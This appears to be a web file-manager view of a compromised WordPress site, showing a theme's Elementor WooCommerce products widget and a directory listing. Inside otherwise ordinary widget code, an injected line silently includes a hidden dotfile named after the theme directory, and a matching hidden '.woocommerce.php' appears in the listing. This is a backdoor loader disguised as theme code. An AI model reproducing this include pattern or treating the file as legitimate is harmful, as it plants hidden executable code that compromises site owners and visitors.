PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
woocommerce
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Products') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Products extends Besa_Elementor_Carousel_Base { public function get_name() { return 'besa-products'; } public function get_title() { return esc_html__( 'Besa Products', 'besa' ); } public function get_categories() { return [ 'besa-elements', 'woocommerce-elements']; } public function get_icon() { return 'eicon-products'; } /** * Retrieve the list of scripts the image carousel widget depended on. * * Used to set scripts dependencies required to run the widget. * * @since 1.3.0 * @access public * * @return array Widget scripts dependencies. */ public function get_script_depends() { return ['slick', 'besa-custom-slick']; } public function get_keywords() { return [ 'woocommerce-elements', 'product', 'products' ]; } protected function _register_controls() { $this->register_controls_heading(); $this->start_controls_section( 'general', [ 'label' => esc_html__( 'General', 'besa' ), 'tab' => Controls_Manager::TAB_CONTENT, ] ); $this->add_control( 'limit', [ 'label' => esc_html__('Number of products', 'besa'), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Number of products to show ( -1 = all )', 'besa' ), 'default' => 6, 'min' => -1 ] ); $this->add_control( 'advanced', [ 'label' => esc_html__('Advanced', 'besa'), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'layout_type', [ 'label' => esc_html__('Layout Type', 'besa'), 'type' => \Elementor\Controls_Manager::SELECT, 'default' => 'grid', 'options' => [ 'grid' => esc_html__('Grid', 'besa'), 'carousel' => esc_html__('Carousel', 'besa'), ], ] ); $this->register_woocommerce_order(); $this->register_woocommerce_categories_operator(); $this->add_control( 'product_type', [ 'label' => esc_html__('Product Type', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => 'newest', 'options' => $this->get_product_type(), ] ); $this->add_control( 'product_style', [ 'label' => esc_html__('Product Style', 'besa'), 'type' => Controls_Manager::SELECT, 'default' => 'v1', 'options' => $this->get_template_product(), 'prefix_class' => 'elementor-product-' ] ); $this->register_button(); $this->end_controls_section(); $this->add_control_responsive(); $this->add_control_carousel(['layout_type' => 'carousel']); } protected function register_button() { $this->add_control( 'show_more', [ 'label' => esc_html__('Display Show More', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'no' ] ); $this->add_control( 'text_button', [ 'label' => esc_html__('Text Button', 'besa'), 'type' => Controls_Manager::TEXT, 'condition' => [ 'show_more' => 'yes' ] ] ); $this->add_control( 'icon_button', [ 'label' => esc_html__('Icon Button', 'besa'), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'tb-icon tb-icon-arrow-right', 'library' => 'tbay-custom', ], 'condition' => [ 'show_more' => 'yes' ] ] ); } public function render_item_button() { $settings = $this->get_settings_for_display(); extract( $settings ); $url_category = get_permalink(wc_get_page_id('shop')); if(isset($text_button) && !empty($text_button)) {?> <a href="<?php echo esc_url($url_category)?>" class="show-all"><?php echo trim($text_button) ?> <?php $this ->render_item_icon($icon_button); ?> </a> <?php } } protected function render_item_icon($icon_button) { if( empty( $icon_button['value'] ) ) return; $this->add_render_attribute( 'icon', 'class', $icon_button['value'] ); echo '<i '. trim($this->get_render_attribute_string( 'icon' )) .'></i>'; } } $widgets_manager->register_widget_type(new Besa_Elementor_Products());
[+]
..
[-] custom-image-list-tags.php
[edit]
[-] product-categories-tabs.php
[edit]
[-] product-count-down.php
[edit]
[-] custom-image-list-categories.php
[edit]
[-] product-tabs.php
[edit]
[-] product-flash-sales.php
[edit]
[-] product-recently-viewed.php
[edit]
[-] product-list-tags.php
[edit]
[-] products.php
[edit]
[-] list-categories-product.php
[edit]
[-] .woocommerce.php
[edit]
[-] product-category.php
[edit]
[-] woocommerce-tags.php
[edit]